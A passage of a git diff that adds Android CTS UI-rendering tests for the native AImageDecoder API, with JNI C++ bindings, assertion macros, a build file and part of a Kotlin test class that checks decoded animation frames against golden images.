+++ b/tests/tests/uirendering/assets/stoplight.webp
Binary files differ
diff --git a/tests/tests/uirendering/assets/stoplight_001.png b/tests/tests/uirendering/assets/stoplight_001.png
new file mode 100644
index 0000000..a1a0b29
--- /dev/null
+++ b/tests/tests/uirendering/assets/stoplight_001.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/stoplight_002.png b/tests/tests/uirendering/assets/stoplight_002.png
new file mode 100644
index 0000000..9ac6017
--- /dev/null
+++ b/tests/tests/uirendering/assets/stoplight_002.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/sunset1.jpg b/tests/tests/uirendering/assets/sunset1.jpg
new file mode 100644
index 0000000..3b30b36
--- /dev/null
+++ b/tests/tests/uirendering/assets/sunset1.jpg
Binary files differ
diff --git a/tests/tests/uirendering/jni/Android.bp b/tests/tests/uirendering/jni/Android.bp
new file mode 100644
index 0000000..0b76e7c
--- /dev/null
+++ b/tests/tests/uirendering/jni/Android.bp
@@ -0,0 +1,36 @@
+// Copyright 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test_library {
+ name: "libctsuirendering_jni",
+ gtest: false,
+ srcs: [
+ "CtsUiRenderingJniOnLoad.cpp",
+ "android_uirendering_cts_AImageDecoderTest.cpp",
+ "NativeTestHelpers.cpp",
+ ],
+ include_dirs: ["system/core/include"],
+ cflags: [
+ "-Wall",
+ "-Werror",
+ ],
+ shared_libs: [
+ "libandroid",
+ "liblog",
+ "libjnigraphics",
+ "libnativehelper",
+ ],
+ stl: "c++_static",
+ sdk_version: "current",
+}
diff --git a/tests/tests/uirendering/jni/CtsUiRenderingJniOnLoad.cpp b/tests/tests/uirendering/jni/CtsUiRenderingJniOnLoad.cpp
new file mode 100644
index 0000000..c0e10aa
--- /dev/null
+++ b/tests/tests/uirendering/jni/CtsUiRenderingJniOnLoad.cpp
@@ -0,0 +1,28 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+
+extern int register_android_uirendering_cts_AImageDecoderTest(JNIEnv*);
+
+jint JNI_OnLoad(JavaVM* vm, void* /*reserved*/) {
+ JNIEnv* env = nullptr;
+ if (vm->GetEnv((void**)&env, JNI_VERSION_1_4) != JNI_OK)
+ return JNI_ERR;
+ if (register_android_uirendering_cts_AImageDecoderTest(env))
+ return JNI_ERR;
+ return JNI_VERSION_1_4;
+}
diff --git a/tests/tests/uirendering/jni/NativeTestHelpers.cpp b/tests/tests/uirendering/jni/NativeTestHelpers.cpp
new file mode 100644
index 0000000..b225ec9
--- /dev/null
+++ b/tests/tests/uirendering/jni/NativeTestHelpers.cpp
@@ -0,0 +1,43 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#include "NativeTestHelpers.h"
+
+#include <cstdlib>
+#include <cstring>
+#include "jni.h"
+
+// This file is copied over from CtsGraphicsTestCases, so that
+// CtsUiRenderingTestCases can have the same functionality.
+void fail(JNIEnv *env, const char *format, ...) {
+ va_list args;
+
+ va_start(args, format);
+ char *msg;
+ vasprintf(&msg, format, args);
+ va_end(args);
+
+ jclass exClass;
+
+ // CtsGraphicsTestsCases has an exception to access the private constructor
+ // for AssertionError. This utility class allows creating a java.lang.AssertionError
+ // with a single String argument so it can be created by ThrowNew.
+ const char *className = "android/uirendering/cts/util/AssertionError";
+ exClass = env->FindClass(className);
+ env->ThrowNew(exClass, msg);
+ free(msg);
+}
diff --git a/tests/tests/uirendering/jni/NativeTestHelpers.h b/tests/tests/uirendering/jni/NativeTestHelpers.h
new file mode 100644
index 0000000..5538ed5
--- /dev/null
+++ b/tests/tests/uirendering/jni/NativeTestHelpers.h
@@ -0,0 +1,53 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#ifndef ANDROID_NATIVETESTHELPERS_H
+#define ANDROID_NATIVETESTHELPERS_H
+
+#include <android/log.h>
+#include <jni.h>
+
+// This file is copied over from CtsGraphicsTestCases, so that
+// CtsUiRenderingTestCases can have the same functionality.
+#define ASSERT(condition, format, args...) \
+ if (!(condition)) { \
+ fail(env, format, ##args); \
+ return; \
+ }
+
+#define ASSERT_TRUE(a) ASSERT((a), "assert failed on (" #a ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_FALSE(a) ASSERT(!(a), "assert failed on (!" #a ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_EQ(a, b) \
+ ASSERT((a) == (b), "assert failed on (" #a " == " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_NE(a, b) \
+ ASSERT((a) != (b), "assert failed on (" #a " != " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_GT(a, b) \
+ ASSERT((a) > (b), "assert failed on (" #a " > " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_GE(a, b) \
+ ASSERT((a) >= (b), "assert failed on (" #a " >= " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_LT(a, b) \
+ ASSERT((a) < (b), "assert failed on (" #a " < " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_LE(a, b) \
+ ASSERT((a) <= (b), "assert failed on (" #a " <= " #b ") at " __FILE__ ":%d", __LINE__)
+
+#define ALOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
+
+// Raises a java exception.
+void fail(JNIEnv *env, const char *format, ...);
+
+#endif // ANDROID_NATIVETESTHELPERS_H
+
diff --git a/tests/tests/uirendering/jni/android_uirendering_cts_AImageDecoderTest.cpp b/tests/tests/uirendering/jni/android_uirendering_cts_AImageDecoderTest.cpp
new file mode 100644
index 0000000..4321327
--- /dev/null
+++ b/tests/tests/uirendering/jni/android_uirendering_cts_AImageDecoderTest.cpp
@@ -0,0 +1,320 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LOG_TAG "AImageDecoderTest"
+
+#include <jni.h>
+#include <android/asset_manager.h>
+#include <android/asset_manager_jni.h>
+#include <android/bitmap.h>
+#include <android/imagedecoder.h>
+#include <android/rect.h>
+
+#include "NativeTestHelpers.h"
+
+#include <cstdlib>
+#include <cstring>
+#include <initializer_list>
+
+#define ALOGD(...) __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, __VA_ARGS__)
+
+static void testNullDecoder(JNIEnv* env, jobject) {
+#pragma clang diagnostic push
+#pragma clang diagnostic ignored "-Wnonnull"
+ ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, AImageDecoder_advanceFrame(nullptr));
+
+ ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, AImageDecoder_rewind(nullptr));
+
+ AImageDecoder_setInternallyHandleDisposePrevious(nullptr, true);
+ AImageDecoder_setInternallyHandleDisposePrevious(nullptr, false);
+#pragma clang diagnostic pop
+}
+
+static void testToString(JNIEnv* env, jobject) {
+ struct {
+ int resultCode;
+ const char* string;
+ } map[] = {
+ { ANDROID_IMAGE_DECODER_SUCCESS, "ANDROID_IMAGE_DECODER_SUCCESS" },
+ { ANDROID_IMAGE_DECODER_INCOMPLETE, "ANDROID_IMAGE_DECODER_INCOMPLETE" },
+ { ANDROID_IMAGE_DECODER_ERROR, "ANDROID_IMAGE_DECODER_ERROR" },
+ { ANDROID_IMAGE_DECODER_INVALID_CONVERSION, "ANDROID_IMAGE_DECODER_INVALID_CONVERSION" },
+ { ANDROID_IMAGE_DECODER_INVALID_SCALE, "ANDROID_IMAGE_DECODER_INVALID_SCALE" },
+ { ANDROID_IMAGE_DECODER_BAD_PARAMETER, "ANDROID_IMAGE_DECODER_BAD_PARAMETER" },
+ { ANDROID_IMAGE_DECODER_INVALID_INPUT, "ANDROID_IMAGE_DECODER_INVALID_INPUT" },
+ { ANDROID_IMAGE_DECODER_SEEK_ERROR, "ANDROID_IMAGE_DECODER_SEEK_ERROR" },
+ { ANDROID_IMAGE_DECODER_INTERNAL_ERROR, "ANDROID_IMAGE_DECODER_INTERNAL_ERROR" },
+ { ANDROID_IMAGE_DECODER_UNSUPPORTED_FORMAT, "ANDROID_IMAGE_DECODER_UNSUPPORTED_FORMAT" },
+ { ANDROID_IMAGE_DECODER_FINISHED, "ANDROID_IMAGE_DECODER_FINISHED" },
+ { ANDROID_IMAGE_DECODER_INVALID_STATE, "ANDROID_IMAGE_DECODER_INVALID_STATE" },
+ };
+
+ for (const auto& item : map) {
+ const char* str = AImageDecoder_resultToString(item.resultCode);
+ ASSERT_EQ(0, strcmp(item.string, str));
+ }
+
+ for (int i : { ANDROID_IMAGE_DECODER_SUCCESS + 1,
+ ANDROID_IMAGE_DECODER_INVALID_STATE - 1,
+ 2, 7, 37, 42 }) {
+ ASSERT_EQ(nullptr, AImageDecoder_resultToString(i));
+ }
+}
+
+static jlong openAsset(JNIEnv* env, jobject, jobject jAssets, jstring jFile) {
+ AAssetManager* nativeManager = AAssetManager_fromJava(env, jAssets);
+ const char* file = env->GetStringUTFChars(jFile, nullptr);
+ AAsset* asset = AAssetManager_open(nativeManager, file, AASSET_MODE_UNKNOWN);
+ if (!asset) {
+ fail(env, "Could not open %s", file);
+ } else {
+ ALOGD("Testing %s", file);
+ }
+ env->ReleaseStringUTFChars(jFile, file);
+ return reinterpret_cast<jlong>(asset);
+}
+
+static void closeAsset(JNIEnv*, jobject, jlong asset) {
+ AAsset_close(reinterpret_cast<AAsset*>(asset));
+}
+
+static jlong createFromAsset(JNIEnv* env, jobject, jlong asset) {
+ AImageDecoder* decoder = nullptr;
+ int result = AImageDecoder_createFromAAsset(reinterpret_cast<AAsset*>(asset), &decoder);
+ if (ANDROID_IMAGE_DECODER_SUCCESS != result || !decoder) {
+ fail(env, "Failed to create AImageDecoder with %s!",
+ AImageDecoder_resultToString(result));
+ }
+ return reinterpret_cast<jlong>(decoder);
+}
+
+static jint getWidth(JNIEnv*, jobject, jlong decoder) {
+ const auto* info = AImageDecoder_getHeaderInfo(reinterpret_cast<AImageDecoder*>(decoder));
+ return AImageDecoderHeaderInfo_getWidth(info);
+}
+
+static jint getHeight(JNIEnv*, jobject, jlong decoder) {
+ const auto* info = AImageDecoder_getHeaderInfo(reinterpret_cast<AImageDecoder*>(decoder));
+ return AImageDecoderHeaderInfo_getHeight(info);
+}
+
+static void deleteDecoder(JNIEnv*, jobject, jlong decoder) {
+ AImageDecoder_delete(reinterpret_cast<AImageDecoder*>(decoder));
+}
+
+static jint setTargetSize(JNIEnv*, jobject, jlong decoder_ptr, jint width, jint height) {
+ return AImageDecoder_setTargetSize(reinterpret_cast<AImageDecoder*>(decoder_ptr),
+ width, height);
+}
+
+static jint setCrop(JNIEnv*, jobject, jlong decoder_ptr, jint left, jint top,
+ jint right, jint bottom) {
+ return AImageDecoder_setCrop(reinterpret_cast<AImageDecoder*>(decoder_ptr),
+ {left, top, right, bottom});
+}
+
+static void decode(JNIEnv* env, jobject, jlong decoder_ptr, jobject jBitmap, jint expected) {
+ auto* decoder = reinterpret_cast<AImageDecoder*>(decoder_ptr);
+ AndroidBitmapInfo info;
+ if (AndroidBitmap_getInfo(env, jBitmap, &info) != ANDROID_BITMAP_RESULT_SUCCESS) {
+ fail(env, "Failed to getInfo on a Bitmap!");
+ return;
+ }
+
+ void* pixels;
+ if (AndroidBitmap_lockPixels(env, jBitmap, &pixels) != ANDROID_BITMAP_RESULT_SUCCESS) {
+ fail(env, "Failed to lock pixels!");
+ return;
+ }
+
+ const int result = AImageDecoder_decodeImage(decoder, pixels, info.stride,
+ info.stride * info.height);
+ if (result != expected) {
+ fail(env, "Unexpected result from AImageDecoder_decodeImage: %s",
+ AImageDecoder_resultToString(result));
+ // Don't return yet, so we can unlockPixels.
+ }
+
+ if (AndroidBitmap_unlockPixels(env, jBitmap) != ANDROID_BITMAP_RESULT_SUCCESS) {
+ const char* msg = "Failed to unlock pixels!";
+ if (env->ExceptionCheck()) {
+ // Do not attempt to throw an Exception while one is pending.
+ ALOGE("%s", msg);
+ } else {
+ fail(env, msg);
+ }
+ }
+}
+
+static jint advanceFrame(JNIEnv*, jobject, jlong decoder_ptr) {
+ auto* decoder = reinterpret_cast<AImageDecoder*>(decoder_ptr);
+ return AImageDecoder_advanceFrame(decoder);
+}
+
+static jint rewind_decoder(JNIEnv*, jobject, jlong decoder) {
+ return AImageDecoder_rewind(reinterpret_cast<AImageDecoder*>(decoder));
+}
+
+static jint setUnpremultipliedRequired(JNIEnv*, jobject, jlong decoder, jboolean required) {
+ return AImageDecoder_setUnpremultipliedRequired(reinterpret_cast<AImageDecoder*>(decoder),
+ required);
+}
+
+static jint setAndroidBitmapFormat(JNIEnv*, jobject, jlong decoder, jint format) {
+ return AImageDecoder_setAndroidBitmapFormat(reinterpret_cast<AImageDecoder*>(decoder),
+ format);
+}
+
+static jint setDataSpace(JNIEnv*, jobject, jlong decoder, jint dataSpace) {
+ return AImageDecoder_setDataSpace(reinterpret_cast<AImageDecoder*>(decoder),
+ dataSpace);
+}
+
+static jlong createFrameInfo(JNIEnv*, jobject) {
+ return reinterpret_cast<jlong>(AImageDecoderFrameInfo_create());
+}
+
+static void deleteFrameInfo(JNIEnv*, jobject, jlong frameInfo) {
+ AImageDecoderFrameInfo_delete(reinterpret_cast<AImageDecoderFrameInfo*>(frameInfo));
+}
+
+static jint getFrameInfo(JNIEnv*, jobject, jlong decoder, jlong frameInfo) {
+ return AImageDecoder_getFrameInfo(reinterpret_cast<AImageDecoder*>(decoder),
+ reinterpret_cast<AImageDecoderFrameInfo*>(frameInfo));
+}
+
+static void testNullFrameInfo(JNIEnv* env, jobject, jobject jAssets, jstring jFile) {
+ AImageDecoderFrameInfo_delete(nullptr);
+
+#pragma clang diagnostic push
+#pragma clang diagnostic ignored "-Wnonnull"
+ {
+ auto* frameInfo = AImageDecoderFrameInfo_create();
+ ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, AImageDecoder_getFrameInfo(nullptr,
+ frameInfo));
+ AImageDecoderFrameInfo_delete(frameInfo);
+ }
+ {
+ auto asset = openAsset(env, nullptr, jAssets, jFile);
+ auto decoder = createFromAsset(env, nullptr, asset);
+ AImageDecoderFrameInfo* info = nullptr;
+ ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, getFrameInfo(env, nullptr, decoder,
+ reinterpret_cast<jlong>(info)));
+
+ deleteDecoder(env, nullptr, decoder);
+ closeAsset(env, nullptr, asset);
+ }
+ {
+ ARect rect = AImageDecoderFrameInfo_getFrameRect(nullptr);
+ ASSERT_EQ(0, rect.left);
+ ASSERT_EQ(0, rect.top);
+ ASSERT_EQ(0, rect.right);
+ ASSERT_EQ(0, rect.bottom);
+ }
+
+ ASSERT_EQ(0, AImageDecoderFrameInfo_getDuration(nullptr));
+ ASSERT_FALSE(AImageDecoderFrameInfo_hasAlphaWithinBounds(nullptr));
+ ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, AImageDecoderFrameInfo_getDisposeOp(nullptr));
+ ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, AImageDecoderFrameInfo_getBlendOp(nullptr));
+#pragma clang diagnostic pop
+}
+
+static jlong getDuration(JNIEnv*, jobject, jlong frameInfo) {
+ return AImageDecoderFrameInfo_getDuration(reinterpret_cast<AImageDecoderFrameInfo*>(frameInfo));
+}
+
+static void testGetFrameRect(JNIEnv* env, jobject, jlong jFrameInfo, jint expectedLeft,
+ jint expectedTop, jint expectedRight, jint expectedBottom) {
+ auto* frameInfo = reinterpret_cast<AImageDecoderFrameInfo*>(jFrameInfo);
+ ARect rect = AImageDecoderFrameInfo_getFrameRect(frameInfo);
+ if (rect.left != expectedLeft || rect.top != expectedTop || rect.right != expectedRight
+ || rect.bottom != expectedBottom) {
+ fail(env, "Mismatched frame rect! Expected: %i %i %i %i Actual: %i %i %i %i", expectedLeft,
+ expectedTop, expectedRight, expectedBottom, rect.left, rect.top, rect.right,
+ rect.bottom);
+ }
+}
+
+static jboolean getFrameAlpha(JNIEnv*, jobject, jlong frameInfo) {
+ return AImageDecoderFrameInfo_hasAlphaWithinBounds(
+ reinterpret_cast<AImageDecoderFrameInfo*>(frameInfo));
+}
+
+static jboolean getAlpha(JNIEnv*, jobject, jlong decoder) {
+ const auto* info = AImageDecoder_getHeaderInfo(reinterpret_cast<AImageDecoder*>(decoder));
+ return AImageDecoderHeaderInfo_getAlphaFlags(info) != ANDROID_BITMAP_FLAGS_ALPHA_OPAQUE;
+}
+
+static jint getDisposeOp(JNIEnv*, jobject, jlong frameInfo) {
+ return AImageDecoderFrameInfo_getDisposeOp(
+ reinterpret_cast<AImageDecoderFrameInfo*>(frameInfo));
+}
+
+static jint getBlendOp(JNIEnv*, jobject, jlong frameInfo) {
+ return AImageDecoderFrameInfo_getBlendOp(
+ reinterpret_cast<AImageDecoderFrameInfo*>(frameInfo));
+}
+
+static jint getRepeatCount(JNIEnv*, jobject, jlong decoder) {
+ return AImageDecoder_getRepeatCount(reinterpret_cast<AImageDecoder*>(decoder));
+}
+
+static void setHandleDisposePrevious(JNIEnv*, jobject, jlong decoder, jboolean handle) {
+ AImageDecoder_setInternallyHandleDisposePrevious(reinterpret_cast<AImageDecoder*>(decoder),
+ handle);
+}
+
+#define ASSET_MANAGER "Landroid/content/res/AssetManager;"
+#define STRING "Ljava/lang/String;"
+#define BITMAP "Landroid/graphics/Bitmap;"
+
+static JNINativeMethod gMethods[] = {
+ { "nTestNullDecoder", "()V", (void*) testNullDecoder },
+ { "nTestToString", "()V", (void*) testToString },
+ { "nOpenAsset", "(" ASSET_MANAGER STRING ")J", (void*) openAsset },
+ { "nCloseAsset", "(J)V", (void*) closeAsset },
+ { "nCreateFromAsset", "(J)J", (void*) createFromAsset },
+ { "nGetWidth", "(J)I", (void*) getWidth },
+ { "nGetHeight", "(J)I", (void*) getHeight },
+ { "nDeleteDecoder", "(J)V", (void*) deleteDecoder },
+ { "nSetTargetSize", "(JII)I", (void*) setTargetSize },
+ { "nSetCrop", "(JIIII)I", (void*) setCrop },
+ { "nDecode", "(J" BITMAP "I)V", (void*) decode },
+ { "nAdvanceFrame", "(J)I", (void*) advanceFrame },
+ { "nRewind", "(J)I", (void*) rewind_decoder },
+ { "nSetUnpremultipliedRequired", "(JZ)I", (void*) setUnpremultipliedRequired },
+ { "nSetAndroidBitmapFormat", "(JI)I", (void*) setAndroidBitmapFormat },
+ { "nSetDataSpace", "(JI)I", (void*) setDataSpace },
+ { "nCreateFrameInfo", "()J", (void*) createFrameInfo },
+ { "nDeleteFrameInfo", "(J)V", (void*) deleteFrameInfo },
+ { "nGetFrameInfo", "(JJ)I", (void*) getFrameInfo },
+ { "nTestNullFrameInfo", "(" ASSET_MANAGER STRING ")V", (void*) testNullFrameInfo },
+ { "nGetDuration", "(J)J", (void*) getDuration },
+ { "nTestGetFrameRect", "(JIIII)V", (void*) testGetFrameRect },
+ { "nGetFrameAlpha", "(J)Z", (void*) getFrameAlpha },
+ { "nGetAlpha", "(J)Z", (void*) getAlpha },
+ { "nGetDisposeOp", "(J)I", (void*) getDisposeOp },
+ { "nGetBlendOp", "(J)I", (void*) getBlendOp },
+ { "nGetRepeatCount", "(J)I", (void*) getRepeatCount },
+ { "nSetHandleDisposePrevious", "(JZ)V", (void*) setHandleDisposePrevious },
+};
+
+int register_android_uirendering_cts_AImageDecoderTest(JNIEnv* env) {
+ jclass clazz = env->FindClass("android/uirendering/cts/testclasses/AImageDecoderTest");
+ return env->RegisterNatives(clazz, gMethods,
+ sizeof(gMethods) / sizeof(JNINativeMethod));
+}
+
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AImageDecoderTest.kt b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AImageDecoderTest.kt
new file mode 100644
index 0000000..8cd8cf7
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AImageDecoderTest.kt
@@ -0,0 +1,953 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses
+
+import androidx.test.InstrumentationRegistry
+
+import android.content.res.AssetManager
+import android.graphics.Bitmap
+import android.graphics.Color
+import android.graphics.ImageDecoder
+import android.graphics.Rect
+import android.uirendering.cts.bitmapcomparers.MSSIMComparer
+import android.uirendering.cts.bitmapverifiers.BitmapVerifier
+import android.uirendering.cts.bitmapverifiers.ColorVerifier
+import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier
+import android.uirendering.cts.bitmapverifiers.RectVerifier
+import android.uirendering.cts.bitmapverifiers.RegionVerifier
+import junitparams.JUnitParamsRunner
+import junitparams.Parameters
+import org.junit.Test
+import org.junit.runner.RunWith
+import kotlin.test.assertEquals
+import kotlin.test.assertTrue
+import kotlin.test.fail
+
+@RunWith(JUnitParamsRunner::class)
+class AImageDecoderTest {
+ init {
+ System.loadLibrary("ctsuirendering_jni")
+ }
+
+ private val ANDROID_IMAGE_DECODER_SUCCESS = 0
+ private val ANDROID_IMAGE_DECODER_INVALID_CONVERSION = -3
+ private val ANDROID_IMAGE_DECODER_INVALID_SCALE = -4
+ private val ANDROID_IMAGE_DECODER_BAD_PARAMETER = -5
+ private val ANDROID_IMAGE_DECODER_FINISHED = -10
+ private val ANDROID_IMAGE_DECODER_INVALID_STATE = -11
+
+ private fun getAssets(): AssetManager {
+ return InstrumentationRegistry.getTargetContext().getAssets()
+ }
+
+ @Test
+ fun testNullDecoder() = nTestNullDecoder()
+
+ @Test
+ fun testToString() = nTestToString()
+
+ private enum class Crop {
+ Top, // Crop a section of the image that contains the top
+ Left, // Crop a section of the image that contains the left
+ None,
+ }
+
+ /**
+ * Helper class to decode a scaled, cropped image to compare to AImageDecoder.
+ *
+ * Includes properties for getting the right scale and crop values to use in
+ * AImageDecoder.
+ */
+ private inner class DecodeAndCropper constructor(
+ image: String,
+ scale: Float,
+ crop: Crop
+ ) {
+ val bitmap: Bitmap
+ var targetWidth: Int = 0
+ private set
+ var targetHeight: Int = 0
+ private set
+ val cropRect: Rect?
+
+ init {
+ val source = ImageDecoder.createSource(getAssets(), image)
+ val tmpBm = ImageDecoder.decodeBitmap(source) {
+ decoder, info, _ ->
+ decoder.allocator = ImageDecoder.ALLOCATOR_SOFTWARE
+ if (scale == 1.0f) {
+ targetWidth = info.size.width
+ targetHeight = info.size.height
+ } else {
+ targetWidth = (info.size.width * scale).toInt()
+ targetHeight = (info.size.height * scale).toInt()
+ decoder.setTargetSize(targetWidth, targetHeight)
+ }
+ }
+ cropRect = when (crop) {
+ Crop.Top -> Rect((targetWidth / 3.0f).toInt(), 0,
+ (targetWidth * 2 / 3.0f).toInt(),
+ (targetHeight / 2.0f).toInt())
+ Crop.Left -> Rect(0, (targetHeight / 3.0f).toInt(),
+ (targetWidth / 2.0f).toInt(),
+ (targetHeight * 2 / 3.0f).toInt())
+ Crop.None -> null
+ }
+ if (cropRect == null) {
+ bitmap = tmpBm
+ } else {
+ // Crop using Bitmap, rather than ImageDecoder, because it uses
+ // the same code as AImageDecoder for cropping.
+ bitmap = Bitmap.createBitmap(tmpBm, cropRect.left, cropRect.top,
+ cropRect.width(), cropRect.height())
+ if (bitmap !== tmpBm) {
+ tmpBm.recycle()
+ }
+ }
+ }
+ }
+
+ // Create a Bitmap with the same size and colorspace as bitmap.
+ private fun makeEmptyBitmap(bitmap: Bitmap) = Bitmap.createBitmap(bitmap.width, bitmap.height,
+ bitmap.config, true, bitmap.colorSpace!!)
+
+ private fun setCrop(decoder: Long, rect: Rect): Int = with(rect) {
+ nSetCrop(decoder, left, top, right, bottom)
+ }
+
+ /**
+ * Test that all frames in the image look as expected.
+ *
+ * @param image Name of the animated image file.
+ * @param frameName Template for creating the name of the expected image
+ * file for the i'th frame.
+ * @param numFrames Total number of frames in the animated image.
+ * @param scaleFactor The factor by which to scale the image.
+ * @param crop The crop setting to use.
+ * @param mssimThreshold The minimum MSSIM value to accept as similar. Some
+ * images do not match exactly, but they've been
+ * manually verified to look the same.
+ */
+ private fun decodeAndCropFrames(
+ image: String,
+ frameName: String,
+ numFrames: Int,
+ scaleFactor: Float,
+ crop: Crop,
+ mssimThreshold: Double
+ ) {
+ val decodeAndCropper = DecodeAndCropper(image, scaleFactor, crop)
+ var expectedBm = decodeAndCropper.bitmap
+
+ val asset = nOpenAsset(getAssets(), image)
+ val decoder = nCreateFromAsset(asset)
+ if (scaleFactor != 1.0f) {
+ with(decodeAndCropper) {
+ assertEquals(nSetTargetSize(decoder, targetWidth, targetHeight),
+ ANDROID_IMAGE_DECODER_SUCCESS)
+ }
+ }
+ with(decodeAndCropper.cropRect) {
+ this?.let {
+ assertEquals(setCrop(decoder, this), ANDROID_IMAGE_DECODER_SUCCESS)
+ }
+ }
+
+ val testBm = makeEmptyBitmap(decodeAndCropper.bitmap)
+
+ var i = 0
+ while (true) {
+ nDecode(decoder, testBm, ANDROID_IMAGE_DECODER_SUCCESS)
+ val verifier = GoldenImageVerifier(expectedBm, MSSIMComparer(mssimThreshold))
+ assertTrue(verifier.verify(testBm), "$image has mismatch in frame $i")
+ expectedBm.recycle()
+
+ i++
+ when (val result = nAdvanceFrame(decoder)) {
+ ANDROID_IMAGE_DECODER_SUCCESS -> {
+ assertTrue(i < numFrames, "Unexpected frame $i in $image")
+ expectedBm = DecodeAndCropper(frameName.format(i), scaleFactor, crop).bitmap
+ }
+ ANDROID_IMAGE_DECODER_FINISHED -> {
+ assertEquals(i, numFrames, "Expected $numFrames frames in $image; found $i")
+ break
+ }
+ else -> fail("Unexpected error $result when advancing $image to frame $i")
+ }
+ }
+
+ nDeleteDecoder(decoder)
+ nCloseAsset(asset)
+ }
+
+ fun animationsAndFrames() = arrayOf(
+ arrayOf<Any>("animated.gif", "animated_%03d.gif", 4),
+ arrayOf<Any>("animated_webp.webp", "animated_%03d.gif", 4),
+ arrayOf<Any>("required_gif.gif", "required_%03d.png", 7),
+ arrayOf<Any>("required_webp.webp", "required_%03d.png", 7),
+ arrayOf<Any>("alphabetAnim.gif", "alphabetAnim_%03d.png", 13),
+ arrayOf<Any>("blendBG.webp", "blendBG_%03d.png", 7),
+ arrayOf<Any>("stoplight.webp", "stoplight_%03d.png", 3)
+ )
+
+ @Test
+ @Parameters(method = "animationsAndFrames")
+ fun testDecodeFrames(image: String, frameName: String, numFrames: Int) {
+ decodeAndCropFrames(image, frameName, numFrames, 1.0f, Crop.None, .955)
+ }
+
+ @Test
+ @Parameters(method = "animationsAndFrames")
+ fun testDecodeFramesScaleDown(image: String, frameName: String, numFrames: Int) {
+ decodeAndCropFrames(image, frameName, numFrames, .5f, Crop.None, .749)
+ }
+
+ @Test
+ @Parameters(method = "animationsAndFrames")
+ fun testDecodeFramesScaleDown2(image: String, frameName: String, numFrames: Int) {
+ decodeAndCropFrames(image, frameName, numFrames, .75f, Crop.None, .749)
+ }
+
+ @Test
+ @Parameters(method = "animationsAndFrames")
+ fun testDecodeFramesScaleUp(image: String, frameName: String, numFrames: Int) {
+ decodeAndCropFrames(image, frameName, numFrames, 2.0f, Crop.None, .875)
+ }
+
+ @Test
+ @Parameters(method = "animationsAndFrames")
+ fun testDecodeFramesAndCropTop(image: String, frameName: String, numFrames: Int) {
